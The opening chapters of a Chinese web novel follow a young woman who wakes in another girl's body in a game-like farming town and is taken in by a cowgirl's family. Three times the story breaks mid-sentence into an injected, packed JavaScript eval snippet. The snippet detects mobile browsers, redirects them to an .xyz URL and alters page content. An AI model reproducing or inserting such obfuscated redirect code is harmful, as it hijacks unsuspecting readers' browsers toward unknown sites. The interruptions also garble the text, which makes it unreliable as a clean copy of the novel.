《我的农场物语似乎有些乱套》 1. 〇一 孔映站在广场中央的狮子雕像下,一面捂着心脏喘息,一面张望。 她看见蓝色的圆屋顶、白鸽、彩色玻璃的窗,看见向日葵盛开的花坛和苹果红的糖果店……目光所及的一切都证明她已经不在原本的世界。 而在原本的世界里,天空和建筑是灰色的,她死在灰冷的街道上。 孔映缓缓低头,看向贴在胸前的右手,手掌下一颗心脏剧烈跳动。两捋橙红的卷发垂在手边,她顺势摸了摸发尾,接着抬手摘下头顶的帽子。 一顶浅麻色草帽、一件沾染上钴蓝色油漆的花边白衬裙、一条套在衬裙外的破旧棕麻色长裙、一双软皮靴,以及一只靠在脚边的红木提箱成为孔映拥有的一切。 她笃定自己占据了另一个人的身体,但会是谁呢? 忽然,一只手落在孔映肩头,她出于惊吓转过身去。 一个头戴牛仔皮帽、身穿褪色牛仔套装的青年挡住落在孔映肩头的日光,她体格健壮,比孔映高出一头,此时牢牢地将孔映按住,挑着眉问道:“怎么不跑了?” 孔映这才明白刚刚那阵猛烈心跳和急促呼吸的来由,“她”在躲避追逐。 “我……”她头脑空白,想不出该如何应答。 年轻的女孩又开口问:“说吧,你到底是什么人,怎么会躲在载货车厢里?” 孔映意识到对方并不认识自己,心下镇定几分,并灵机一动,试探着胡说八道:“我……我是来找我阿姨的,但没有钱。” 牛仔女孩半信半疑地松开手,孔映趁她没再追问,先发制人问:“你为什么要追我?难道你是治安官吗?” 她想知道更多的信息。 “唔,我叫路易莎,不是什么治安官。”路易莎似乎想解释,随即又意识到仍是自己占理,“你从我的车厢里下来,一见我就跑,还打翻了我的油漆桶,我当然要追你。” 孔映闻言又垂下头,目光落在那只红木手提箱上。她想起来了,当她睁开眼时,箱子正拎在她手里,很沉,她很累,因此她放下木箱捂住心脏喘息。 箱子里装了什么呢?会是一些珍贵的东西吗? 一个瞬间,孔映在想她能否真正替代这具身体的主人,成为她,从而支配她的财产来为她打翻的油漆赔偿。 路易莎也留意到那只箱子,没有开口索赔,而是问她:“你叫什么名字?你的阿姨是什么人?” “……”孔映只好硬着头皮瞎说,“我叫克莉丝塔,我的阿姨叫玛丽娜。” “玛丽娜?”路易莎摸着下巴思考一阵,说道,“据我所知尤格利亚只有一个玛丽娜,可她还是个孩子,不会是你的阿姨。” 尤格利亚。 现在,孔映知道了这座城镇的名字,她接着表演惊讶:“你是说这里是尤格利亚?那我好像来错了地方。” 她蹲下身,决定打开沉甸甸的木箱一试,如果里面有值钱的东西,至少她可以先打发走路易莎再思考新身份的事。 她想得专注,没能注意到路易莎脸上又露出怀疑神色。 木箱仅有两个金属锁扣,孔映将箱子横放在花斑岩铺就的地面上,打开铜扣抬起箱盖,但只是短暂一瞄,随后她又重新合上木箱。 她的神情显得古怪,又有些凝重,这时路易莎也蹲下身,盯着她问:“你怎么了?” “我……我忘记了,这里面没有可以赔偿你的东西。” “我可以不要你赔我油漆。” 路易莎如是说,孔映闻言终于松懈些许,然而路易莎并没有说完:“但你要和我一起到治安官那里接受调查。” “为什么?” “因为我怀疑你是大盗安娜!” “……” 孔映总算演不下去了,索性将箱子转了个方向,朝路易莎说:“我承认我撒了谎,但我也可以证明我不是什么大盗安娜。” 没有哪个大盗会在木箱里装这样两块东西—— 等等! 孔映忽又反悔,双手重重按回木箱上,制止了路易莎揭开箱盖的动作。路易莎抬眼,目光熠熠刺着孔映,以至于她有些心虚地发问:“大盗安娜是什么人?” 路易莎微微眯眼,却还是耐着性子回答她:“从伊德尔镇来的火车抢劫犯。” “她用什么武器?” “当然是枪。” 孔映这下总算松了口气,默默收回双手,示意路易莎打开木箱。 比起大盗的身份,一个随身提着两块红砖的人实在好得多,顶多会被人当成怪人罢了。 孔映生无可恋地看向路易莎,却在她脸上看到出乎意料的欣喜,只见她双眼更亮,抬头看来。 “克莉丝塔,这两块砖可以卖给我吗?” “啊?” “我想要砖头很久了,但最近几次换回来的建筑材料里只有油漆、陶瓷和玻璃。”路易莎兴奋起来,向孔映解释她的牛棚需要两块砖来修缮墙面。 孔映不明就里,但两分钟后,她手里多了十枚硬币。 路易莎则怀抱两块砖,神采奕奕朝她道别:“我要回农场了,你呢,克莉丝塔?” “我不知道。” “唔,玛丽娜阿姨呢?她住在什么地方?” “你忘记了,我刚刚向你承认我撒了谎,”孔映思索着,干脆向路易莎坦言,“事实上并没有什么玛丽娜阿姨,我失去了记忆……” 路易莎难得蹙起眉头。 回文森特农场的路上,孔映和路易莎挤坐在马车车厢内,路易莎指着窗外向她介绍尤格利亚小镇的布局。 尤格利亚的街道明亮整洁,居民们在悠然度日,杂货铺、面包店、花房、裁缝铺和剧院缓缓闪过,孔映终于生出种熟悉的感觉—— 这一切都像是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598531|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游戏里。连同她用两块砖从路易莎那儿换来十枚硬币也很像是游戏里才有的交易。 难道她置身游戏世界里吗?她目光回转到路易莎身上,看她金棕色的皮肤和友善的碧蓝色眼眸,思索游戏世界是否会如此真切。 路易莎对上她的目光,询问:“怎么了,克莉丝塔?” 她仍叫她克莉丝塔,因为孔映以失忆者的身份出现在这个世界,至少眼下没有人清楚知道「她」是谁。 “我认为我在做梦。”孔映恍惚着回答。 “为什么这么说?” 孔映思索会儿,摇头不语。路易莎或许觉得失忆者陷入了忧郁,同样安静下来。 沉默间,马车驶离了街道,穿过小镇外连绵的教区抵达一片深蓝色的湖。湖的一岸是葱茏的树林,一岸是如茵的陡坡,翻过陡坡,路易莎便又伸手指向车窗外:“克莉丝塔,这就是我们的农场!” 顺着她手指的方向望去,一块指示牌立在道路旁,木牌上用红色油漆刷下农场的名字。不远处是一间刷了蓝油漆的农舍,孤零零立在辽阔的蓝天之下。 孔映深吸一口来自农场的空气,随后将头探出窗外。一阵晨风刮来,卷走她的帽子,她扭头看向马车后方,望见草帽随风而去,不偏不倚地扣在另一架马车的车夫脸上。 车夫生着副瘦长面孔,鼻梁细长,像是撒了几个小谎的皮诺曹的鼻子,因此帽子扑在他脸上就像是回到挂钩上,显得滑稽。孔映因此露出一个微笑,路易莎则放声大笑——她从另一侧车窗探头,同样瞧见这一幕。 路易莎向孔映介绍车夫们,替她们驾驶马车的是农场的工人老约翰,驾驶载物马车的也就是救下她帽子的车夫是老约翰的儿子费尔南多,他们住在仓库附近的老栎树旁。 马车驶过晒着太阳的牛羊,驶过散落的农舍和长势喜人的玉米田,最终停在一处农家庭院前。 庭院的篱笆内是一座红砖蓝屋顶的房子,屋旁一棵栗树正开花,像满树的烟花,树下,一架堆满稻草的推车停在石井旁,几只鸡在井边踱步。 孔映从马车上下来,路易莎已经推开庭院的篱笆邀请她:“怎么样,克莉丝塔,这里是不是很棒?” “很漂亮。”孔映不吝赞美。 路易莎眯眼一笑,指着路旁规整的小块土地介绍道:“这些番茄和土豆是爸爸种的,”又指向庭院右侧鲜花簇拥的小木屋,“那边是鸡舍和妈妈的工具房。” 孔映顺着路易莎的话打量起庭院,直到跟随她走上台阶,停在那座红砖蓝屋顶的房门外时,她才收回目光。 那是扇木门,门外挂着鹅黄色花环,路易莎说着话,手径直探向门把:“现在他们大概已经出去了。” 孔映没有应声,只是在留意到门上没有门锁时生出股莫名的冲动,她下意识伸出手,意图拦截路易莎开门的动作,但终究迟了一步。 2. 〇二 好像是漂浮在真空里,没有引力,没有边际。 但孔映听见一些杂声,电流声、警笛声、键盘声,以及混杂其中的人声。 “这样下去真的很无聊欸。” “救护车!” “简直就是异想天开嘛。” …… “怎么了,克莉丝塔?” 是路易莎。 孔映意识到是路易莎在说话时,眼前豁然明亮起来。一切都变得清晰,路易莎一脸关切地站在她面前,而她们已经来到房屋内部。 孔映望着屋内的装潢,几乎恍惚地回答路易莎:“好像是脑袋空了一下。” “一会儿觉得像是在梦里,一会儿又像是脑袋空了一下,这怎么行呢?”路易莎似乎思考了片刻,又接着说,“等吃完早餐,我带你去见胡丽安,或许她会知道你的失忆症是怎么回事。” 她收回目光看路易莎,问道:“她是医生吗?” “唔,她为农场的动物看病。” “……” 路易莎又露出副笑眯眯的模样:“好了,我先带你去阁楼。” 因为「克莉丝塔」的失忆症,路易莎出于热心肠决定收留她一段时间,她将孔映安顿在阁楼上。 虽然是阁楼的房间,但房间里开了扇老虎窗,阳光意外的充沛,孔映前去窗下推开窗扇,风缓缓吹动泛黄的蕾丝窗帘,她随意摩挲几下窗帘,回身看向室内。 路易莎掀开了家具上的白布,露出红橡木的书桌和衣帽柜,孔映见状提起顺手放在窗边的空木箱,将它放去书桌旁,接着与路易莎一同整理起房间。 一切安排就绪后,路易莎立在床头做出副思考状。 许久,孔映问她:“有什么问题吗?” “唔,总觉得还有什么地方不对劲……”说话间,路易莎的目光重新锁定孔映,恍然大悟般放下抚摸下巴的手,“有了,是你!” “我?” “房间是打扫干净了,可你人还是灰头土脸的,唔,等我——” 她话音未落,不由分说地离开房间,几分钟后,她取来套干净的米白色衬裙交给孔映。 孔映看了看一身牛仔打扮的路易莎,问:“这是你的裙子吗?” “不,这是我妹妹英格玛的裙子,她现在不住在家里。” 路易莎将房间留给孔映,前去准备早餐,孔映换上干净的衣物,第一次走到穿衣镜前观察起自己的新身体。 还真是卡通啊,橙红色的卷发。 她默默感叹句,又凑近几分,虽然是第一次见这副新身体,但她对镜中的少女有种天然的熟悉感,就好像这是她原本的模样,可她记得—— 孔映眨了眨眼,眼底浮现出似乎无尽的困惑。她不记得了,关于她从前的事她一概不记得了,而她迟钝到直到现在才意识到这回事。 怎么会呢?她明明清楚记得她是孔映,在一个疲惫不堪的日子里死在灰色的街区。或许没有死,但车撞向了她,所以她才会出现在异世界,占据另一个人的身体。 可是,孔映又是谁呢? “克莉丝塔,我快饿扁了,你好了吗?” 路易莎的呼唤将孔映从困惑中抽离,她停下思索,循声来到餐厅里。 长桌上摆好了两份早餐,路易莎的妈妈留下了土豆浓汤和黑面包,路易莎则泡好一壶热茶。孔映在餐桌旁坐下,拿起面包小心翼翼咬上口,一种隐约的怀疑伴随着咀嚼而打消—— 尽管像是身处游戏世界,但这里的一切都无比真实,包括面包的口感和麦香气。 “路易莎,你每天都做些什么呢?” “嗯,什么都做,收玉米、挤牛奶、修仓库、到镇上送货……”她吃下一大勺浓汤,接着说,“今早我就是送货去车站,顺便卸货,没想到会卸下你来。” 提起这茬,孔映终于想起来她还没有向路易莎道歉,尽管那是在她到来前发生的事。 “对不起,我打翻了你的油漆。” “没关系,接下来你可是要好好做苦力为我赔罪的!” 孔映抬起头来,路易莎坐在对面嚼着面包,依旧是那副笑眯眯的模样,孔映不禁久久盯着她看。 “一直看我做什么?” “你很耀眼。” 路易莎挑眉:“还是第一次有人这样说我,但你不要以为嘴甜就可以不用做苦力了。” 孔映当即一笑,路易莎则爽朗大笑起来,一如她们在来时的马车上那样。 早餐结束后,路易莎带上孔映和两罐蓝莓果酱去寻找胡丽安。 胡丽安就住在文森特农场的一间旧农舍里,从路易莎家步行前去只需要一刻钟,路上,路易莎向孔映介绍了农场里的居民和工人,途径仓库时,她们碰到了费尔南多,他已经卸完马车上的货物,正在栎树下喂马。 “路易莎,仓库快要满了,又是时候扩建一番了。”他朝路易莎提起仓库。 “我们今早不是刚刚送出一批货吗?” “可是我们又带回来一批。” “好吧,下午我会去看看。” 她们离开栎树下,继续前行,路易莎不由得面露难色,又有几分无奈地朝孔映耸耸肩:“真不明白,我们的仓库总是需要扩建。” 路易莎的烦恼让孔映在周围一切的真实中窥出些游戏的痕迹,或者说游戏的规则。那么,尤格利亚小镇也好,文森特农场也好,它们真的会是游戏的世界吗? “不过妈妈已经在计划新建一座货仓了。”路易莎说完又笑起来,但她发现孔映又一次处在失神的状态中,她不由得观察起孔映,许久,她陈述道,“克莉丝塔,你又在恍惚。” 孔映蓦然停下脚步,仰脸望向路易莎,她看见路易莎脸上的几点雀斑,看见路易莎呼吸时鼻翼细微的翕动,看见她明亮眼眸里浓郁的情绪,所有的细节牵引她回到当下。 “路易莎,我感觉到一种矛盾。”她脱口而出。 “矛盾?什么样的矛盾?” “也许是真实和幻想之间的矛盾,我觉得……”孔映打住了接下来的话语,她无法对着如此真实的路易莎说出她对尤格利亚真实性的质疑。 但路易莎像是洞悉了她的想法,追问道:“你还是觉得像在梦里,对吗?” 孔映点头。这里越是真实,那种矛盾感就越是强烈,似乎每一次对真实的感知都强调着这里的虚幻。 “噢,可怜的克莉丝塔,”路易莎突然俯身抱住孔映,感叹道,“真不知道你经历了什么样的苦难。” 孔映因为这拥抱身体一僵,略显呆滞地问:“为什么这么说?” “你现在看起来像极了麦克斯,抱歉,麦克斯是我收养的流浪狗。” “……” “你现在和它刚来时简直一模一样,似乎从来没有过上过一天好日子。” “……” 孔映感觉到了语言的杀伤力,但同时竟又荒唐地认同起路易莎的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598532|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 难道说,她从前真如路易莎所说过得很糟糕吗? “克莉丝塔,告诉我,你喜欢这里吗?”路易莎松开僵硬的孔映,正色询问。 孔映老实巴交点点头。 “既然如此,为什么不干脆愉快地加入我们呢?” 路易莎双手叉腰,微笑而立,再次以一种耀眼的姿态映入孔映眼帘,她的眼睛似乎也因路易莎而耀眼起来。 是哦,在她没有被失忆干扰的知识体系角落里,的确是有句“既来之则安之”的俗语呢,所以,为什么她要费劲地去质疑这一切呢? 孔映忽然下定决心般向路易莎点了点头:“谢谢你,路易莎。”然后说,“那我们回去吧。” 路易莎困惑歪头。 “呃,我想……既然如此,也许我不用再想起从前的事,也不用去看胡丽安了。”她说到最后已经声如蚊呐。 路易莎闻言,不可思议地瞪大眼睛,大声道:“克莉丝塔,你这是在逃避!” “我……” “虽然我很欢迎你留在农场,但你不能逃避过去。” “为什么?” “你会忘记生命里很重要的人,不是吗?” “可是,如果没有那样的人呢?” “那你也会忘记过去的自己。” 路易莎的话令孔映一怔,她垂下眼帘,想接着问她些什么,却什么也没问。好一会儿,她听见路易莎轻声对她说:“不要害怕,克莉丝塔。” 她牵起孔映的手,“在文森特农场,你不用害怕任何东西,包括一份来自过去的记忆。” 说罢,她领着孔映和蓝莓果酱继续往前,终于,她们抵达了胡丽安的农舍。 一丛丁香花篱下,两个金发小女孩盘腿坐在草丛上,潜心摆弄一套迷你餐具,其中一个女孩瞧见她们,抬头问好:“早上好,文森特小姐。” “早安,西塔。” 她们驻足在院篱外。 “如果你是来找胡丽安阿姨的,那很抱歉,她不在家。” “她去什么地方了?” 背对她们坐的小女孩回过头来,她看起来只有五岁左右,这时抢着声回答说:“她去格拉斯的农场里为一头母牛接生了。” “可我记得格拉斯最近没有怀孕的母牛。” “贝拉记错了,她是去看一头母牛的腐蹄病。” 路易莎哼哼笑了声,质问道:“那么你们两个小家伙可不可以告诉我,为什么她的马还在马厩里?” “……” 西塔下巴微微抬高,突然问道:“文森特小姐,你身后的那位陌生的小姐是谁?” “西塔,这样转移话题更奇怪啰,说吧,胡丽安去什么地方了?” “我们不能告诉你!” 贝拉突然跳起身来,以一副决不屈挠的神情瞧着她们,倒让路易莎茫然起来。 她回头看看孔映,说:“也许胡丽安真的有事,我们改天再来好了。” 孔映收回落在农舍大门的视线,对路易莎点点头,路易莎便将蓝莓果酱交去西塔手上,顺便向她介绍道:“她是克莉丝塔,我们农场的新朋友。” “上帝,又一位——”贝拉小大人似的摊手。 “贝拉!”西塔喝止道。 路易莎轻轻挑眉,目光越过丁香花篱瞧一眼农舍,再同孔映相视一眼,到底没再为难两个小家伙。 “好吧,我们会换个时间再来找她。” 3. 〇三 “这很奇怪。” 前往牧场的路上,路易莎如是道。 “我想只是因为胡丽安有客人在。”孔映回应道。 “即便如此,她也不该让西塔和贝拉骗我们……”路易莎瞧着似乎有些失望,但她很快又晃晃脑袋,打起精神,“不过从贝拉那小家伙的反应看,她的客人大约也是远道而来。” 孔映若有所思,附和声:“也许吧。” “算啦,只好改天再去拜访她了!现在我带你去牧场里走走。” 孔映点点头,跟着路易莎继续在草场上漫步,此前隐隐笼罩着她的不安情绪同胡丽安一起被她抛至脑后,关于真实与幻想的矛盾感觉也渐渐淡去,绵延的草场和晴朗的天气令她回归到令人惊讶的平静之中,她小心翼翼地享受着这样的漫步,有时甚至忽视了路易莎的声音。不久,她们抵达了一处岔路口。 一块齐腰高的指示牌竖在小径分叉处,路易莎拐向左手边的小路上,一面说:“另一条路通往格拉斯农场,格拉斯一家是我们的邻居。” 孔映静静听着,却在途经指示牌时倏地停下脚步,这使路易莎也驻足回看。 只见孔映伸出食指,指尖降落在指示牌上刻着的一小块图案上。 “路易莎,这里为什么刻着一颗苹果?” “或许是哪个孩子刻的吧。” 孔映轻轻摩挲几下那处苹果疤痕,心头涌起种别样的却也捉摸不透的情绪,但她没有显露出过分的好奇,很快又收回了手指。 草地映着蓝天向上延展,孔映远远望见了牧场的栅栏,再度生出股强烈的预感来,一如早先停在路易莎家门外那样—— 果然,当她走近栅栏并踏足栅门时,眼前的景象瞬间失了真,她陷入了昏黑,失重感再度降临。 耳畔,嘈杂声急遽闪过,孔映感觉自己像是极速穿梭在交错的蛛网之上,直到有什么东西不停地拍打她的双腿,她才恢复切实的知觉。 她低头去看,一只长毛古牧在脚边兴奋晃动尾巴,一下下地拍打在她的裙摆上,一旁的路易莎蹲着身,伸手抱住蓬松的大型犬大笑不止。 “停下,麦克斯,你已经是个大孩子了!”她说着仰头对孔映道,“克莉丝塔,这就是麦克斯。” 孔映就这样猝不及防地同她的前辈麦克斯打了个照面,当然还只是背影。 她也像路易莎那样蹲下身,尝试抚摸麦克斯的后背,麦克斯有所感应,停下朝路易莎撒娇的动作,回头用那双藏在长毛下若隐若现的黑眼珠盯着孔映。 真可爱啊,多乐士油漆犬。 “麦克斯住在牧场里,帮忙赶牛群,另一只是牧羊犬奥古斯特。” 孔映顺着她手指的方向看去,一只黑背德牧端坐在不远处,远远望着羊群。 “奥古斯特一向很稳重。”路易莎起身,见孔映望着奥古斯特,这样说道。麦克斯则跟在她脚边打转,俨然忘记了照看牛群。 “麦克斯看起来很活泼。”孔映说。 “我带它回农场时它还很胆小,但这里每个人都很喜欢它,它勇敢了很多。” 她们移步向缓坡上的棚舍去,走过奥古斯特时,它悠悠地起身跟上,优雅又沉着,麦克斯前去撞它,没有得到回应,索性一股脑冲去缓坡上,然后又兴致勃勃俯冲回她们脚边。 路易莎眯眼一笑,这时,缓坡上出现一个系着围裙的女孩,似乎是追着麦克斯而来,瞧见她们后,女孩跑得更快。 “她就是珍妮特。” 孔映来时已经听路易莎介绍了牧场里的农户,巴泽尔夫妇和他们的女儿珍妮特,以及一位独居的老太太。 “路易莎姐姐!”珍妮特停在她们面前,先向路易莎问好,接着笑吟吟看向孔映,一边倒退着往山坡上走,一边道,“你好,克莉丝塔,我叫珍妮特。” “看来费尔南多已经来过了。”路易莎说。 “是的,他告诉我们农场来了位新朋友。” 珍妮特今年十二岁,头戴亚麻头巾,编着两根棕色麻花辫,笑起来有两个酒窝,孔映也朝她问了声好。 “克莉丝塔,你从什么地方来?为什么会来尤格利亚?”女孩充满好奇。 “抱歉珍妮特,我不能回答你,因为我失去了记忆。” 珍妮特皱起眉头:“真是遗憾,希望你能早些想起来!” “所以克莉丝塔会暂住在农场里,”路易莎说罢,问,“爸爸还在这里吗?” “在的,费尔南多带来了两块砖,文森特先生留在这里看爸爸修缮牛棚。” 路易莎闻言大笑,说:“应该说那两块砖是克莉丝塔带来的。” “……” 请不要再提起这种奇怪的事! 不过珍妮特也并没有觉得奇怪。 麦克斯率先抵达斜坡上的农舍外,山毛榉树下坐着年迈的布洛克太太,她奖励麦克斯一块干酪,接着才看见奥古斯特和三个年轻女孩的身影。 “噢,是英格玛回来了!” “您看错了,布洛克太太,她是我们的新朋友克莉丝塔。” 布洛克太太视力不佳,错将孔映认成英格玛,为此她向孔映表示抱歉,但孔映还是捕捉到到她眼底的一缕失落。 捕捉到那缕失落的瞬间,孔映不禁一怔。 她开始思索。 英格玛去了什么地方呢? 她明明穿着英格玛的裙子,却没有想过问一问路易莎有关她的事。整个早上都是路易莎在不厌其烦地和她说话,而她鲜少过问路易莎。明明她觉得路易莎真实又耀眼,却依旧下意识地将她、甚至将所有人都看作是虚拟的“游戏角色”,她从始至终都只关注着自己的感受,可是,她就一定是真实存在的吗? “克莉丝塔,来尝尝布洛克太太做的奶酪!” 路易莎打断她突如其来的想法,孔映回神,走近山毛榉树下的长桌。 布洛克太太常常制作些农家干酪出售,眼下珍妮特系着围裙正是在跟着她学做奶酪。 孔映接过路易莎递来的一块奶酪,像吃黑面包那样细细品尝,奶酪口感湿润松软,浓郁的奶香缓慢刺激着她的味蕾,一切细微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598533|171957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的感受都随之放大,蔓延。 她感觉到一阵微风,转身看向风来的方向,风吹动斑驳的光影和她的头发,衬裙鼓了起来。她从山坡俯瞰,农舍像彩色积木散落在起伏的草地上,更远的地方是散乱的石头阵、河谷和小松林。 她似乎感觉到自己灵魂出窍,漂浮到云端,看见无尽山丘上的一粒沙。 「不然就叫她伊莉莎,像一粒沙。」 脑海里有这样一道声音响起。 伊莉莎吗? 似乎又传来一阵滋啦啦的电波声,不过这时,有什么东西牵扯住她。 孔映恢复了对身体的感知,垂下头,奥古斯特停在她腿边,轻轻衔住她的裙摆,仿佛在将她的灵魂拽回躯壳内。 她眨眨眼,蹲身将没吃完的半块奶酪送到奥古斯特面前,奥古斯特已经松口,面对她手心里的奶酪仅仅是平淡转过头去。 “你不吃吗?”她问它。 奥古斯特依旧远远望着羊群,这时,麦克斯注意到这里,忽然撒欢朝他们跑来,孔映见状只好将奶酪调转了个方向,然而还没等到麦克斯,奥古斯特就若有所察地转回身,优雅低头吃掉那半块奶酪。麦克斯铩羽而归,引得珍妮特和路易莎连连大笑,孔映也跟着笑起来,摸了摸奥古斯特的后背。 她们在树下呆上会儿,又到畜栏里去,在那里,孔映又结识了文森特先生和巴泽尔先生。 文森特先生和路易莎有着相似的蓝眼睛,同样是牛仔打扮,但在性格上与路易莎截然不同,他更加沉默寡言,只简单向孔映表达了欢迎和感谢—— 感谢她带来那两块稀有材料,他们这才修好牛棚。对此,孔映终于像是脱了敏,至少对那两块砖的古怪感不那样强烈。 也许是出于一种刻意,她在走出牛棚后询问起路易莎:“路易莎,你更像妈妈吗?” “看来你也觉得我和爸爸不像,”她笑说,“不过我和妈妈也不太像,晚上你见到她就会明白。” “她去了什么地方?” “她到玛莎的磨坊磨面去了。”路易莎说着指向河流某处的一架水轮机,告诉她磨坊的位置。 “那么英格玛呢?”孔映接着问,“她似乎去了很远的地方。” 提到英格玛,路易莎竟然像是泄了气,随后走去一棵无人的树下躺下。 草地柔软,蓝色矢车菊和金盏花在树下盛开,孔映躺到路易莎身旁,仰面望着摇晃的树叶。许久,路易莎谈论起英格玛。 “英格玛很像爸爸,沉稳冷静,也很像妈妈,总是勇敢坚定,所以她刚满十八岁时就提出要离开农场……” “她去哪儿了?” “起初她去了伊德尔镇,在那里做家庭教师,后来我们又收到她的信,她告诉我们她辞去了工作,决定去更远的地方看看。” 路易莎的声音在风里变得飘渺,孔映偏头,看见她伸出了右手,缓缓从眼前移动向树冠,好像是要触碰天空。 “克莉丝塔……” “嗯?” “唔,没什么要紧的,我们回去吧!” 4. 〇四 晚餐是文森特先生准备的,为了欢迎克莉丝塔的到来,他从一户养鸽子的邻居家换来几只乳鸽烤制,又慢炖了一锅农家菜,另外还在路易莎的帮助下做了道牧羊人派。 孔映并不认为自己毫无烹饪技巧,但在路易莎家的厨房里,她的简陋厨艺没有任何用武之地,只能袖手旁观。 她望着父女二人忙碌的身影,听他们谈论乳鸽什么时候翻面,土豆需要准备几个,香肠还剩下多少的话…… 渐渐地,黄昏的蓝色时刻降临在窗外,而窗户内光线温暖。 烤乳鸽、炖菜以及牧羊人派各自散发出浓郁的香气,交织充溢在整座小楼里,几乎挤到孔映。 她立在桌旁,有些夸张地想,她应该在这样浓郁的温馨中落下幸福的热泪,但又觉得如果真落下泪来也是鳄鱼的眼泪,又或者她只是为丰盛美味的晚餐落泪。 失去记忆前,她大概很久没有吃到这样真挚的食物了吧。 她揣测着,听见窗外传来马车的声音,然后听见路易莎叫她:“克莉丝塔,是妈妈回来了,我们去迎接她!” 孔映初见多萝西娅时,她两肩上各扛着一包面粉走进庭院里。 她原以为路易莎前去迎接是要接过其中一袋面粉,然而她仅仅是以拦路虎的姿态出现在多萝西娅面前,耽搁了她的步伐并向她介绍了自己。 在听说孔映将在家中暂住后,多萝西娅将右肩上的面粉摞至左肩的面粉袋上,空出右臂向孔映伸出手。 孔映连忙握向那只手。 “欢迎你。”她惜字如金。 “谢谢你,多萝西娅。” 路易莎告诉过她,多萝西娅不喜欢被人叫做文森特太太,她让所有人都直呼她的名字。 多萝西娅闻言没有更多反应,收回手,扛着面粉接着朝屋里去,留下路易莎和孔映在庭院中。 孔映用很短的时间明白过来早晨路易莎的话是什么意思,多萝西娅虽然和路易莎有着相似的健美外形,但她和路易莎并不相像,反而也是那样不苟言笑。 那么,路易莎是怎么长成路易莎的呢? 路易莎像是洞悉了她的想法,笑问她:“她很酷,对吗?” 对此,孔映唯有认同。 晚餐时间,孔映被安排坐在与多萝西娅面对面的位置。多萝西娅有着一头引人注目的羊毛卷发,近乎爆炸,如果不是事先知道她是个木工,孔映会认为她是个疯狂的科学家,只不过在这样的世界里似乎并不需要设定一个科学家。 席间,路易莎和文森特先生将白天发生的事说给多萝西娅,诸如货仓需要扩建、牛棚得以修缮、肉豆蔻香肠所剩不多这些事,孔映发现文森特先生奇异地絮叨起来。 多萝西娅默默听完,不予置评,问起其他的事来:“阿祖拉还是没来吗?” 路易莎摇摇头。 多萝西娅几不可察地蹙了蹙眉,接着问:“下一趟火车是什么时候?” “三天后的中午。” 她点点头,又转过头对文森特先生嘱咐道:“凯文,明天你带几个雇工再去找些石材回来,是时候动工修建仓库了。” “我呢,妈妈?” “你去处理农场的订单。” 她说完转回目光看向对面,孔映对上那仿佛磁石般充满吸引力的目光,不禁问上句:“那我呢?” “你可以跟着我们任何人。” “克莉丝塔会和我一起!” 路易莎冲孔映眨了眨眼,孔映捣捣头,表示认同。 就这样,孔映领到了她来文森特农场后的第一个任务:跟随路易莎前往农场处理订单。 - 第一个任务似乎搞砸了—— 孔映拿着路易莎留下的字条得出这般结论。 由于那些纷乱的鸟鸣声出现得太晚,又由于昨夜那些格外嘈杂的梦境,她醒得比想象中还要晚,当她下楼来时,整座小楼里只有一份早餐和一张署名“路易”的字条等着她。 「早安克莉丝塔,我想你一定是在火车上度过了疲惫的一夜,或者很多夜,所以没有忍心叫醒你。请不必在意,吃掉早餐再来谷仓找我吧!」 孔映收起字条,并没有自己以为的那样羞愧难当,短暂的害臊后,她坐下享用起新鲜的牛奶和可口的番茄三明治,直到早餐结束,她才取下衣帽架上挂着的草帽出门去。 鸡舍门关着,鸡群只得以在围篱内散步,但有一只黑尾红公鸡高立在棚顶之上,悠悠地望着庭院另一侧。 孔映立在门廊上戴好帽子,悠闲又惬意地迈向阳光里。 突然,一道人声从台阶左侧的羽扇豆花丛后传来,叫住她。 “退后,克莉丝塔!” 孔映下意识转头,随后发现那头爆炸的棕色头发隐没在花丛后。 多萝西娅像只猫在潜行。 “多萝西娅?” 孔映困惑地叫她声,话音未落,小径尽头传来声不和谐的巨响,话音吞没其中。 空气不再流动,玻璃碎片悬浮在半空,如虹光绚丽,接着,空气里出现闪烁的色块,一团黑洞撕裂了空间,无数字符在其间涌现又坍塌。 WORLD_CHUNK_ERR:SECTOR [X:128,Y:77] -> NULL_REFERENCE SHADER_CRASH: PARTICLE_SYSTEM OVERFLOW (MAX_QUADS= 9710580) WORLD_STATE_CORRUPTION: …… 也许只是瞬间,孔映眨眼的瞬间,色块变成土块和残损的藤蔓,玻璃碎片仍是玻璃碎片,但不再停滞,如同流星横飞。 好痛! 孔映倒吸口凉气,一屁股坐到门廊的台阶上,并抬手摸了摸脸颊。 